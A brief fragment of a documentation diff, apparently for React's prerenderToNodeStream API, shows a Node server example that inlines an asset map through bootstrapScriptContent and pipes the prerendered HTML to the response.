prerenderToNodeStream(, { + // Careful: It's safe to stringify() this because this data isn't user-generated. + bootstrapScriptContent: `window.assetMap = ${JSON.stringify(assetMap)};`, + bootstrapScripts: [assetMap['/main.js']], + }); + + response.setHeader('Content-Type', 'text/html'); + prelude.pipe(response); +}); +``` + +In the example above, the `bootstrapScriptContent` option adds an extra inline `